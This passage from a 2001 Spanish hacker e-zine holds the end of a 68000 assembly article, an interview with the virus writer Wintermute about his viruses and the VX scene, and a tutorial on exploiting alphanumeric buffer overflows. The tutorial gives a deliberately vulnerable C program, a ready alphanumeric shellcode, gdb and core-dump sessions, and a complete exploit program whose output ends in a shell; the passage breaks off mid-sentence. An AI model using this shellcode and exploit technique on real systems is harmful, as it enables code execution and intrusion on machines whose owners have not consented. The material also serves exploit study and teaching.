CMP #1,D2 * Se para en el primer bit encendido y cambia de
* sentido
BEQ IZQUIERDA
JMP DERECHA
ORG $26000 * Direccion del codigo a continuacion
PUESTACERO
MOVE.W #0,D0 * Poner 0 en D0
RTE
END
<-->
===== [ NOTA ]
Este articulo ha sido escrito para NetSearch Ezine, en base a
conocimientos adquiridos sobre el MC68000 de Motorola. No se ha utilizado
bibliografia publicada, por lo que no garantizo que todo sea correcto.
El autor permite la traduccion y la reproduccion de este documento en
otros medios, siempre y cuando sea avisado y la reproduccion sea integra
(incluida esta nota).
MoebiuZ <moebiuz@netsearch-ezine.com>
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x08 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ En contacto con Wintermute ]-============================================
=-[ por NetSearch ]-=========================================================
__ ___ _ _
\ \ / (_)_ __ | |_ ___ _ __ _ __ ___ _ _| |_ ___
\ \ /\ / /| | '_ \| __/ _ \ '__| '_ ` _ \| | | | __/ _ \
\ V V / | | | | | || __/ | | | | | | | |_| | || __/
\_/\_/ |_|_| |_|\__\___|_| |_| |_| |_|\__,_|\__\___|
INTRO
En los ultimos meses el aumento del numero de virus ha hecho el agosto entre
las compaÒias antivirus. Un gran numero de especimes de discutible codigo y
filosofia ha provocado que la imagen del mundo virii vuelva a estar en el ojo
del huracan de todas las criticas en los distintos medios de comunicacion.
Desde NetSearch, y el aki presente, nos veiamos casi en la obligacion de dar
la oportunidad de opinar a alguna persona que pudiera verse inmerso en este
mar de mala fama.
Logicamente, el haber tenido el placer de conocer y tener una muy buena
relacion con nuestro amigo Wintermute, ha decantado la balanza para que el
fuera nuestro elegido.
Pues bien, no me entretengo mas.... En contacto con, Wintermute.
### Log session started at Mon May 21 17:09:20 2001 ###
-----------------------------------
-- MODE TONO ENTREVISTA: OFF --
-----------------------------------
<QuasaR> Hola winter chocho....
<Wintermute> Heyyyy q pay x)).
<QuasaR> El otro dia me pase por #outlimit para ver si te cazaba y como no
estabas el fly me ha pasado la dire para ponerme en contacto....
<Wintermute> Ah, perdona, es que ultimamente no me acerco mucho por el
IRC... te diria que es que estoy haciendo cosas productivas pero
es q he pillao el Ultima Online xDDDDDD.
<QuasaR> Bueno, a ver, el motivo del mensaje es para ver si podria ser el
hacerte una entrevista via IRC o mail o lo para la NetSearch
Ezine #6. Enga fiera, a ver si nos haces el favorcillo......
<Wintermute> Por mi encantado (toda oportunidad para desquitarme de que
los VX parezcamos malvados... xD)... ah, estooop... si, si puede
ser por mail mejor, mas tranquilidad...
<QuasaR> OK winter pues lo vamos haciendo a base de mails...no problem....
Vamos a empezar poco a poco.....
----------------------------------
-- MODE TONO ENTREVISTA: ON --
----------------------------------
<QuasaR> Hola winter....que tal?
<Wintermute> Bien, supongo, øEsto forma parte del Test? (ahora tu me dices
que no pero que era para calentarme, yo que no me hace gracia,
acabas preguntandome sobre mi madre y me mosqueo y soy un
replicante y.. y.. vale, que pasa, llevo toda la tarde
encerrado leyendo documentacion y estoy rallao xDDDDD).
<QuasaR> Pues bueno, cuentanos un poquito para empezar, como un tio como tu
acaba metiendose en el mundillo virii? como empezo todo?
<Wintermute> Phew, la verdad es que la atraccion por los virus
informaticos viene desde que tuve mi primer PC, un 286. Me podia
pasar mis horas leyendo descripciones de virus de algunos
antivirus de aquella epoca como el CPAV (te hablo de hace cosa
de 8 aÒos)... evidentemente no tenia ni idea de como funcionaba
todo eso, solo me quedaba fascinado con las descripciones y
pensando como funcionaria eso.
<Wintermute> Bastante despues, hace unos 5 aÒos, aprendi ensamblador y
compre un modem, y empece a conectar a BBSs. Fue ahi donde
encontre gente que tenia bastante idea del tema y de la que pude
aprender muchisimo; por una parte gente de Edison's Temple que
me echo un cable en los primeros pasos, por otra como no, la BBS
de intercambio de virus Darknode y su red, Darknet, donde se
juntaba una buena cantidad de gente con conocimientos sobre el
tema... con ellos, tiempo despues, se fundo la primera 29A en la
que estabamos 13 personas, como digo salidas mayoritariamente de
Darknet.
<QuasaR> Cuentanos cual fue tu primer reto serio?. En que consistia?
<Wintermute> Quiza fue el virus Tupac Amaru; su caracteristica particular
es la de ejecutarse al reves, del final al principio (tiene el
codigo almacenado de abajo a arriba y se ejecuta utilizando la
interrupcion de debugging para poder decrementar el registro IP
cada vez que ejecuta una instruccion), lo que hace que pocos o
ningun debugger puedan seguirle la pista.
<QuasaR> Recuerdo que PcActual utilizo un virus tuyo para hacer una
comparativa de capacidad de respuesta de las compaÒias
antivirus....simple curiosidad, te lo pidio?, lo diseÒastes adrede
para ellos? costo mucho?
<Wintermute> Estuve unos diez meses haciendo ese virus, Ithaqua (de hecho
ocupa unos 8kb, conteniendo cosas como un emulador de codigo,
dos engines polimorficos, etc). Respecto a la PcActual,
estuvimos comentando que querian un virus para probar a los
servicios tecnicos de las compaÒias antivirus y dio la
casualidad de que el Ithaqua estaba casi acabado con lo que lo
utilizamos para ponerlos a prueba...
<QuasaR> Hablando de compaÒias antivirus, crees en la dicha que dice que
son las propias empresas quienes diseÒan gran parte de de los
virus para asi asegurarse las ganancias y por tanto el futuro?
<Wintermute> Nah, no creo que sea cierto. Ojo, que pueden haber escritores
de virus que se apunten a trabajar en ellas dado que pocos
tendran un conocimiento base asi para hacerlo, pero no me creo
que una empresa seria se dedique a hacer esas cosas; hay
suficientes escritores de virus como para que no tengan que
crearse ellos mismos el negocio.
<QuasaR> Ese es un tema interesante, cual crees que es la razon de que cada
vez haya mas viriis? (se escribe asi?, corrigeme XD).
<Wintermute> Hummm yo diria "virus" simplemente, el plural extraÒo seria
"virii" al estilo latin peroooo yo que se, suena demasiado
"cool" xDDDD.
<QuasaR> Quiza la aparicion de nuevas vias menos complicadas a la hora de
programar un virus (vease MAcro o VBS)?
<Wintermute> Justo esa (vaya, es que esta pregunta se responde con un si o no
xD).
<QuasaR> Bueno, y a todo esto, que es lo que lleva a una persona tan loka
como tu a dedicar tiempo a esto?. Mas que nada porque con la mala
imagen que hay en los medios y distintos organismos de todos
vosotros, es un poco ir a buscar los problemas no?
<Wintermute> Por suerte programar virus informaticos asi como distribuirlos
dando informacion acerca de lo que son (es decir, no infectando
a nadie) es completamente legal segun al legislacion espaÒola, y
lo unico ilegal es - como resulta logico - infectar a alguien
con ellos. Mientras no traspases esa linea tan solo estas
haciendo software que realiza copias de si mismo, con lo que
poco te van a poder hacer... lo de la buena/mala imagen pues
depende del punto de vista de cada uno; realmente me da igual
tener mala imagen ante el tipo de gente que a pesar de saber que
no me dedique a infectar a usuarios siga considerandome algun
tipo de "terrorista". Si alguien es tan cerrado de cabeza como
para considerar un terrible criminal a alguien que escribe un
programa que hace copias de si mismo, pues alla el.
<QuasaR> Y de los kiddies, algo que decir/les?
<Wintermute> Tanto en el "hacking" como en "virus", la popularizacion de
Internet ha traido una nueva generacion de mega-malos que
quieren ser los amos de Internet y los m3g4-h4x0rs... para mi es
un problema mas que nada de actitud; con un metodo facil como
programar un virus en VB mas de uno pretende ser muy malo y muy
conocido, en una actitud que personalmente me parece un tanto
patetica... y no es algo que afecte a lo que podrias llamar
"kiddies" sino a muchos otros en general... el problema como
digo es de "actitud", ese intento de ser los mega-malos... øque
les diria? Que hagan las cosas porque les apetezca, porque se lo
pida el cuerpo, no por quedar como si fueran lo mas 31337; la
esencia antes que la apariencia.
<QuasaR> Como piensas que seran las posibilidades de los virus del futuro?
Queda algo por descubrir?
<Wintermute> Podemos considerar que ya hemos creado formas primitivas de vida
artificial en los virus informaticos; para mi el siguiente paso
siempre ha estado claro, y es el de aÒadirles inteligencia...
lamentablemente ahora mismo hay pocas cosas nuevas en la scene
VX, y se insiste una y otra vez sobre lo mismo; las mismas
tecnicas aplicadas a otros sistemas operativos, y quiza alguna
innovacion con el uso de la Red como hace el Hybris de Vecna.
Pero alguien tiene que dar un buen paso de cara a la IA...
<QuasaR> Segun winter, cual es la mejor manera de no infectarse?. Y no me
vale teniendo el ordenador apagado, que nos conocemos bacalao....XD
<Wintermute> Hace un tiempo nunca te habria respondido asi, pero la verdad,
la mejor forma es bajarte las cosas de sitios fiables (y sobre
todo no ejecutar cosas attacheadas a tu correo electronico,
parece una estupidez pero por algun motivo todo el mundo lo hace
xD). Personalmente cuando no me fio de algo lo abro con un
debugger y le echo un vistazo, o cojo de vez en cuando ficheros
del windows y les echo un vistazo a ver si tienen algo; una
solucion mas asequible es utilizar algun antivirus decente tipo
AVP.
<QuasaR> Bueno, y volviendo a ti, en que proyectos andas metido?
<Wintermute> Ultimamente ando algo apartado de este tema por falta de tiempo
(estoy metido en un laboratorio de IA y no me deja mucho tiempo,
aunque le estoy dedicando bastante al curso de programacion de
virus que voy publicando en mi pagina y en Outlimit). Hago mis
cositas de vez en cuando, pero me niego a sacar nada a no ser
que tenga algo minimamente interesante/original que decir.
<QuasaR> Estuvimos con la gente de outlimit en la hackmeeting (por cierto,
muchas caras conocidas.... un saludo a todos), el caso es que alli
pudimos ver la presentacion de este proyecto... pero como no estuvo
todo el mundo, pues nada, aki tienes una oportunidad para
explicarnos en que consiste y vamos...un poco de todo....
<Wintermute> Si, quiza la definicion clave para Outlimit es "libertad de la
informacion". El proyecto se basa en que todos tenemos algo que
enseÒar, y por supuesto, que aprender; pretende que cada uno
intente dar aquello que tiene y aprovechar lo que los demas
pueden ofrecer, intentando de este modo escapar un poco a esta
concepcion ridiculamente comercial de una Red donde todo se
compra y se vende.
<QuasaR> (ya terminamos.... :*, gracias por la atencion tio, espero que no
este siendo muy pesado, es que estoy aprovechando la oportunidad que
no veas.....)
<Wintermute> Jijiji nada nada, perdona q este tardando un poco pero es q
estoy hasta arriba, por eso preferi lo de los mails x)).
<QuasaR> Simple curiosidad: Windows, Linux, BSD, Solaris....que preferimos?
<Wintermute> Depende de para que... personalmente utilizo Linux ultimamente
si quiero hacer cosas relacionadas con redes, programacion,
virus, u otras para las que prefiera un SO robusto. Al tiempo
utilizo Windows para otras cosas como componer musica, juegos
(Ultima Online roolz jeje) y por ese peaso de programa de correo
electronico que es el Becky xD. Otros SO pues los he visto por
encima asi que no me atrevo a opinar.
<QuasaR> Y ya que estamos, que piensas de la relacion Linux-Virus?
<Wintermute> Bueno hay una cosa comodisima con el Linux y es que cuando te
peta lo que estas haciendo en vez de reventar todo simplemente
aparece un mensajito de "Segmentation Fault" y sigues adelante.
Alegra bastante no tener que resetear cada vez que pruebas tu
bichito con la consiguiente perdida de tiempo.
<Wintermute> Respecto a virus para Linux en si, creo que esta comunidad tiene
cierto exceso de confianza; ya hable en la hackmeeting de la
terrible vulnerabilidad de los RPM de RedHat, el que para mi es
el gran agujero que podria dar lugar a una infeccion masiva (los
"triggers"). Ahora al parecer - si no se ha hecho ya - se va a
unificar el formato RPM con el de paquetes de Debian, habra que
esperar y ver que hacen con eso...
<QuasaR> FIN.- Bueno winter, lo que hace la confianza, wintermute :P, pues un
placer fue verte de nuevo en la Hackmeeting y un placer ha sido el
charlar por aqui contigo. Gracias por tu tiempo...y nada, saluda a
Neko y a esta gente cuando la veas por ahi....
<Wintermute> Enga lo hare x))), si me paso por IRC, claro xDDD...
<QuasaR> Algo que aÒadir?
<Wintermute> Joer y ahora que aÒado yo pffffff... queeee no hagais caso de lo
que digo, que os he estado mintiendo durante toda la entrevista,
que los escritores de virus son muy malos y no os junteis con
ellos, que en realidad son adolescentes antisociales que
disfrutan viendo como sus virus destruyen los ordenadores de los
demas porque esta comprobado al 100% que tienen problemas de
relacion social y estan dando escape a su odio contra el mundo
que les rodea y con el que no han sabido relacionarse vengandose
mediante delitos con los que ademas engrandecen su ego y... y...
y joer menuda sarta de chorradas xDDDDD pero algo parecido
suelen decir cuando se meten contigo, ønop? xDDD.
<QuasaR> Espero no haya sido muy asquerosa.... pero hasta he preguntado cosas
que me curioseaban a mi, y claro, la curiosidad es mu mala....muchas
gracias loka....
<Wintermute> A ti x) :DDD.
### Log session terminated at Tue May 24 21:22:48 2001 ###
[Nota de Editor: Pues nada.. solo mandarle un saludo desde aqui a Winter y
darle las gracias personalmente por la entrevista. Thanks
y hasta otra ;-).]
NetSearch
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x09 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Overflows Alfanumericos ]-===============================================
=-[ por RaiSe ]-=============================================================
----------------
// 0.- Indice
----------------
0.- Indice
1.- Prologo
2.- Programa Vulnerable
3.- Shellcode
4.- Examinando Pr. Vulnerable
5.- Xplotando Pr. Vulnerable
6.- Conclusion
----------------
// 1.- Prologo
----------------
Hasta ahora se creia (o al menos yo lo creia) que los programas que
chequeaban de alguna manera la entrada de datos alfanumericos estaban exentos
de ser victimas de un xploit. Eran varios los inconvenientes. El mas
inmediato surgia ante la no existencia de shellcodes alfanumericas, con lo
que nos encontrabamos imposibilitados a la hora de ejecutar codigo en nuestra
makina. Esto, como sabran algunos lectores de NetSearch Ezine #5, ya no es un
problema [sino sabeis de lo que hablo echarle un vistazo al articulo 0x4 de
dicho numero para refrescar la memoria ;)].
Aun asi, aunque dispusieramos de una shellcode alfanumerica no era
suficiente, ya que no podiamos escribir practicamente ninguna direccion de
memoria, sobre todo del stack (0xbffftaltal), puesto que printeando esa dire
no nos da valores alfanumericos.
Pues bien, en este texto intentare describir un metodo para escribir xploits
utiles con este tipo de overflows. No es un metodo generico, pero puede servir
en algunas ocasiones.
--------------------------------
// 2.- Programa Vulnerable
--------------------------------
Como intentar xplotar este tipo de overflows de una forma generica es muy
complicado me basare en un codigo que suele repetirse en bastantes programas
conocidos. Es el siguiente..
<++> alphanum/codigo1.c $e611bcb72f01ec4f59d956c0f7d9af08
/*
* Programa vulnerable (overflows alfanumericos)
*/
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <unistd.h>
int check(char *str)
{
char buffer[1024];
int n=0;
bzero(buffer,1024);
while((str[n] != 0x00) && (isalnum((unsigned char)str[n])))
buffer[n] = str[n++];
if (str[n] != 0x00)
{
printf("El string contenia un valor no alfanumerico.\n");
exit(-1);
}
printf("string: %s\n", buffer);
return(0);
}
main(int argc, char *argv[])
{
if (argc < 2)
{
printf("%s string\n", argv[0]);
exit(-1);
}
check(argv[1]);
}
<-->
Este codigo es de un programa hipotetico. Se limita a llamar a la funcion
check() con un argumento que es argv[1]. Check() simplemente va copiando el
el contenido de su argumento a un buffer local hasta que encuentra un null o
un caracter no alfanumerico (alfnum a partir de ahora). En caso de esto
ultimo sale del programa inmediatamente con un exit(). Si todos los
caracteres son alfnum retorna a main con un return(0).
Ahora probemos el programilla..
[raise@apolo alpha]$ gcc -g -o codigo1 codigo1.c
[raise@apolo alpha]$ ./codigo1 hoooooooooolaaaaaaaaaaaaaaaaa
string: hoooooooooolaaaaaaaaaaaaaaaaa
[raise@apolo alpha]$ ./codigo1 hoooooooooolaaaaaaaaaaaaaaaaa~
El string contenia un valor no alfanumerico.
Como vemos funciona..
Resumiendo, necesitamos meter una shellcode que solo contenga letras (valen
mayusculas & minusculas) y numeros, y arreglarnoslas para conseguir saltar a
ella. Todo eso metiendo unicamente en el string caracteres alfnum, es decir,
todos estos no valen: "_.,%\/-()=", etc. etc. [Nota: El espacio en blanco
tampoco sirve]. Parece complicado, verdad?. Pues no lo es tanto como
veremos..
Empecemos analizando la shellcode, ya que es un tanto especial. Por cierto,
la scode que aparecio en NS #5 resulto inoperativa para este caso (y para
cualquier overflow alfnum). Mas informacion en el siguiente apartado..
-------------------
// 3.- Shellcode
-------------------
Como recordareis [los que lo hayan leido claro :)], en NS #5 publique una
shellcode desarrollada por mua alfanumerica (dentro en un articulo de
scodes). Venia bastante explicada y eso, asi que no me voy a repetir con lo
mismo. Solo dos pequeÒos apuntes..
El primero se refiere al metodo que usaba la anterior scode para poder poner
'nops' (desarrollado por Fatuo - leonardo@hispasecurity.com). Ese metodo
consistia en suponer que el 'xploteador' (persona que programaba el xploit),
se encargaria de sobreescribir el registro %ebp con la direccion de la
shellcode (aparte de sobreescribir la propia dire de retorno claro). Luego se
iba incrementando %ebp con el caracter 'E', que es la instruccion 'incl
%ebp', y que actuaria a modo de nop.
El problema es que a la hora de xplotar un programa de estas caracteristicas
resulta imposible sobreescribir el registro %ebp con la direccion de la
scode, ya que no se pueden poner caracteres no alfnum, con lo que el metodo
es inoperativo. La solucion pasa por programar otro tipo de scode
alfanumerica, a la que se le puedan 'meter' nops. El resultado es lo que
sigue a continuacion, una scode a la que se le pueden 'meter' un maximo de
200 nops. La limitacion de nops es debido a que por cada nop que le pueda
poner 'delante', hay que ponerlo detras, con lo que la longitud de la
shellcode puede crecer desmesuradamente en un momentin de nada XD. Esta
version ocupa 418 bytes. Siento no explicar ni poner el codigo de la scode,
pero el arti creceria excesivamente :(. Para mas informacion podeis leer el
articulo 'Shellcodes en Linux/i386 (2)', en NetSearch Ezine #5.
El nop que usaremos en este caso sera 'G', que corresponde a la instruccion
'incl %edi'.
NOTA: Esta shellcode la hice hace bastante tiempo, pero tuve que modificarla
ligeramente a ultima hora para este articulo. Debido a ello el codigo
esta sin optimizar, seguramente podria reducirse su tamaÒo de forma
considerable.
Codigo de la shellcode (418 bytes):
<++> alphanum/shellcode.h $4c680c747e87efe8572ffcb438abcfac
char shellc[] =
// nops here ..
"DDDDTYTX3H01H01h03h0LLLLLLLLXPY3E01E01u03u0j0fXh8eshXf5VJPfhbi"
"fhDefXf5AJfPDTYhKATYX5KATYPQTUX3H01H01X03X0YRX3E01E03U0Jfh2GfX"
"f3E0f1E0f1U0fh88fX0E1f1E0f3E0fPTRX49HHHQfPfYRX2E00E0BRX0E02E02"
"L0z0L0zYRX4j4aGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG";
<-->
----------------------------------
// 4.- Examinando Pr. Vulnerable
----------------------------------
Para este primer ejemplo el metodo que usaremos sera el de "frame pointer
overwriting", documentado ampliamente en Phrack55 (articulo 8), por klog
<klog@promisc.org>.
Pues bien, en este ejemplo lo tenemos bastante facil. Bastaria con
sobreescribir el %ebp guardado con la direccion del %ebp real mas 4 bytes. Es
decir, debemos hacer que a la hora de hacer el ret, en %esp este la direccion
del argumento que le pasamos a check(). Veamoslo con el gdb (las direcciones
estan sacadas de una Mandrake 8.0 con kernel 2.4.3).
[raise@apolo alpha]$ gdb -q codigo1
(gdb) set args AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb) break check
Breakpoint 1 at 0x80484f9: file codigo1.c, line 15.
(gdb) r
Starting program: /home/raise/ns6/alpha/codigo1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, check (str=0xbffff97f 'A' <repeats 47 times>) at codigo2.c:15
15 int n=0;
(gdb) disass check
Dump of assembler code for function check:
0x80484f0 <check>: push %ebp
0x80484f1 <check+1>: mov %esp,%ebp
0x80484f3 <check+3>: sub $0x418,%esp
0x80484f9 <check+9>: movl $0x0,0xfffffbf4(%ebp)
0x8048503 <check+19>: sub $0x8,%esp
[ codigo que no nos interesa ]
0x80485b7 <check+199>: call 0x80483a8 <printf>
0x80485bc <check+204>: add $0x10,%esp
0x80485bf <check+207>: mov $0x0,%eax
0x80485c4 <check+212>: mov %ebp,%esp
0x80485c6 <check+214>: pop %ebp
0x80485c7 <check+215>: ret
End of assembler dump.
(gdb) break *0x80485c4
Breakpoint 2 at 0x80485c4: file codigo1.c, line 31.
(gdb) c
Continuing.
string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, check (str=0xbffff97f 'A' <repeats 47 times>) at codigo1.c:31
31 }
(gdb) x/4xw $ebp
0xbffff768: 0xbffff788 0x08048610 0xbffff97f 0x40015a84
Madre mia que rollo he soltado XD. Como vemos la direccion del %ebp guardado
es 0xbffff788, y se encuentra en 0xbffff768. La direccion de retorno es
0x08048610, y la del argumento 'str' 0xbffff97f. Pues bien, lo unico que
tenemos que hacer es sobreescribir un byte del %ebp guardado para que apunte
a 0x0xbffff768 + 4, con lo que al hacer el ret saltara a la direccion del
argumento.
Aqui cabe hacer una pequeÒa aclaracion. Aunque en el codigo del programa la
cantidad que se reservara en el stack para nuestro buffer siempre sera la
misma, dependiendo de la longitud que le metamos a argv[1] el valor inicial
de %esp variara. En nuestro caso no se comprueba cuantos argumentos se le
pasan a main (como en la mayoria de los programas), sino que se comprueba que
no sea menor de dos. De esta forma si el valor de %ebp no nos coincide para
que el ultimo byte de su valor + 4 sea alfanumerico, podemos ir jugando con
la longitud de argv[1] (o argv[2], vale cualquiera en nuestro caso), para ir
alineando %esp hasta que nos coincida. La explicacion de por que varia se
debe a que los argumentos pasados a main() tambien se guardan en la pila, y a
mas longitud de los mismos mas stack hay que reservar. Tambien es posible que
sino podemos meter nada en argv[2] podamos alinear la pila usando variables
de entorno.
En nuestro caso particular deberiamos sobreescribir 1 byte de %ebp con el
valor 0x6c (0x68 + 4), cuyo valor en la tabla ascii es 'l'. Y digo deberiamos
porque como %esp es variable debemos calcular los valores 'reales' del stack
metiendo la cantidad exacta de bytes de prueba. Es decir, 1024 bytes del
buffer + 1 que usaremos para sobrescribir %ebp = 1025 (0x401) bytes. Bien..
eso seria lo logico, pero como estamos usando las binutils nuevas (estoy en
mandrake 8.0), en vez de reservar 1024 bytes se han reservado 1032, por lo
tanto necesitamos 1033 para sobreescribir %ebp. Si quereis mas informacion
sobre el nuevo funcionamiento de las binutils podeis leeros un articulo de
Angel Ramos <seamus@salix.org> que lo explica muy bien, esta disponible en
http://packetstorm.securify.com/papers/unix/disassembling.txt.
Hagamos la prueba..
[raise@apolo alpha]$ gdb -q codigo1
(gdb) set args `perl -e 'print "A" x 1033;'`
(gdb) break *0x80485c4 -> direccion de antes, en check()
Breakpoint 1 at 0x80485c4: file codigo1.c, line 31.
(gdb) r
Starting program: /home/raise/ns6/alpha/codigo1 `perl -e 'print "A" x 1033;'`
string:
AAAAAAAAAAAAAAAAAAAAAAAA [ muchas A's ] AAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, check (str=0xbffff5a5 'A' <repeats 200 times>...) at
codigo1.c:31
31 }
(gdb) x/4xw $ebp
0xbffff398: 0xbffff341 0x08048610 0xbffff5a5 0x40015a84
Genial, 0x98 + 4 = 0x9c, que no es un valor alfnum. Veamos.. si restamos
0xbffff398 - 0x50 nos da 0xbffff348, y 0x48 + 4 nos da 0x4c que si es un
valor alfum ('L'). Es decir, necesitamos meter 0x50 bytes mas en la pila para
que nos coincida %esp. Como en argv[1] no podemos meter ni 1 byte mas pq
fastidiariamos el xploit, vamos a meterlos en argv[2]. Probemos again..
[raise@apolo alpha]$ gdb -q codigo1
(gdb) set args `perl -e 'print "A" x 1033;'` `perl -e 'print "A" x 80;'`
(gdb) break *0x80485c4
Breakpoint 1 at 0x80485c4: file codigo1.c, line 31.
(gdb) r
Starting program: /home/raise/ns6/alpha/codigo1 `perl -e 'print "A" x 1033;'`
`perl -e 'print "A" x 80;'`
string:
AAAAAAAAAAAAAAAAAAAAAAAA [ muchas A's ] AAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, check (str=0xbffff554 'A' <repeats 200 times>...) at
codigo1.c:31
31 }
(gdb) x/5xw $ebp
0xbffff348: 0xbffff341 0x08048610 0xbffff554 0x40015a84
Bueno, parece que la cosa funciona :). Ahora solo necesitamos hacer el xploit
con la shellcode alfanumerica y listo (o no?..). Pasemos al siguiente
apartado.
----------------------------------
// 5.- Xplotando Pr. Vulnerable
----------------------------------
Pues bien, ahora que ya sabemos las direcciones de memoria exactas lo logico
seria pensar que ya podemos hacer el xploit.. pues no, todavia falta una cosa
mas.
Nosotros hemos visto las direcciones teoricas usando gdb, el problema es que
entre usar un debugger y no usarlo las direcciones de memoria varian
ligeramente. Por lo tanto tenemos que averiguar las direcciones REALES, sin
usar gdb. Como?, pues lo mas sencillo es provocando un 'core dump'. Si
tenemos acceso al codigo fuente del programa lo mas sencillo es meter un
'while(1);' donde nos apetezca, y luego desde otra terminal hacer algo como
'kill -s 3 pid', con lo que conseguiremos un core muy guapeton.
Sino tenemos acceso al codigo fuente habra que apaÒarselas para provocar un
core. Nosotros supondremos que no tenemos acceso a el. Pensemos.. que tal si
hacemos lo siguiente? (recordemos que la cantidad de bytes a introducir tiene
que ser exacta):
[raise@apolo alpha]$ ./codigo1 `perl -e 'print "A" x 1036;'` `perl -e 'print
"A" x 77;'`
Violacion de segmento (core dumped)
[raise@apolo alpha]$
Vaya, parece que ha funcionado :). Lo que hemos hecho ha sido sobreescribir
%ebp integramente para asegurarnos el core, y restar los bytes de mas a
argv[2] para que nos coincida el alineamiento. Como la direccion va a seguir
siendo aproximada a la que era cuando usabamos el gdb, podemos empezar a
buscar en las cercanias de 0xbffff368, que era la direccion real de %ebp
durante la ejecucion de main(). Observemos..
[raise@apolo alpha]$ gdb -q --core=core
Core was generated by `./codigo1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x08048615 in ?? ()
(gdb) x/10xw
0xbffff368: 0x41414141 0x08048610 0xbffff570 0x40015a84
0xbffff378: 0xbffff3fc 0x080484d1 0x080496f8 0x080497dc
0xbffff388: 0xbffff3c8 0x400401f0 0x00000003 0xbffff3fc
0xbffff398: 0xbffff40c 0x08048366 0x0804865c 0x00000000
0xbffff3a8: 0xbffff3c8 0x400401da 0x00000000 0xbffff40c
Al parecer la direccion 0xbffff368 ahora corresponde al valor de %ebp, pero
durante la ejecucionde check(): 0x41414141 es el %ebp guardado que acabamos
de sobreescribir, 0x08048610 la direccion de retorno a main(), y 0xbffff570
el argumento (lo que nos interesa). Mas abajo estan distintos valores
realizados por push's en main(), y luego su direccion de retorno
(0x400401f0), argc (0x00000003), etc..
Pues bien, segun esto necesitamos sobreescribir el ultimo byte del %ebp
guardado con 0x68 + 4 = 0x6c = 'l'. El valor de %ebp lo hemos sobreescrito,
pero originalmente seria algo como 0xbffff3XX, siendo XX lo que vamos a
sobreescribir. Y sino nos lo creemos probemos..
[raise@apolo alpha]$ ./codigo1 `perl -e 'print "A" x 1033;'` `perl -e 'print
"A" x 80;'`
Violacion de segmento (core dumped)
[raise@apolo alpha]$ gdb -q --core=core
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) x/2xw 0xbffff368
0xbffff368: 0xbffff341 0x08048610
Efectivamente :). Bueno, pues ahora solo queda hacer el xploit..
<++> alphanum/xp.c $bbc715e1eb3be6d1b77eff5d5376d9e4
/*
* Xploit (overflows alfanumericos)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
extern char **environ;
main()
{
int i;
char buf[2048], pad[128];
char *arg[4];
char *path = "./codigo1";
char shellc[] =
// nops here ..
"DDDDTYTX3H01H01h03h0LLLLLLLLXPY3E01E01u03u0j0fXh8eshXf5VJPfhbi"
"fhDefXf5AJfPDTYhKATYX5KATYPQTUX3H01H01X03X0YRX3E01E03U0Jfh2GfX"
"f3E0f1E0f1U0fh88fX0E1f1E0f3E0fPTRX49HHHQfPfYRX2E00E0BRX0E02E02"
"L0z0L0zYRX4j4aGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG";
/* rellenamos a ceros */
bzero(buf, 2048);
/* seteamos 1032 nops */
memset(buf, 0x47, 1032);
/* dejamos 32 nops x si acaso */
for(i=32; i < (strlen(shellc)-32); i++)
buf[i] = shellc[i-32];
/* sobreescribimos %ebp */
buf[1032] = 0x6c;
/* 80 bytes de relleno */
bzero(pad, 128);
memset(pad, 0x47, 80);
/* seteamos argumentos */
arg[0] = path;
arg[1] = buf;
arg[2] = pad;
arg[3] = NULL;
/* lo ejecutamos */
execve(path, arg, environ);
}
<-->
La unica novedad es que hemos usando la variable externa 'environ', para que
las variables de entorno sean exactamente las mismas, ya que un solo byte de
mas y se nos estropearia todo. El path que usamos es './codigo1', ya que fue
el que utilizamos a la hora de provocar el core dump. Probemos el xploit..
[raise@apolo alpha]$ gcc -o xp xp.c
[raise@apolo alpha]$ ./xp string:
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGDDDDTYTX3H01H01h03h0LLLLLLLLXPY3
E01E01u03u0j0fXh8eshXf5VJPfhbHQfPfYRX2E00E0BRX0E02E02L0z0L0zYRX4
[ resto de shellcode ]
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGl - bytes no alfnum -
sh-2.04$
X fin.. :). Los bytes no alfnum del final es debido a que con el overflow le
hemos quitado el null del final al string, con lo que printea unos cuantos
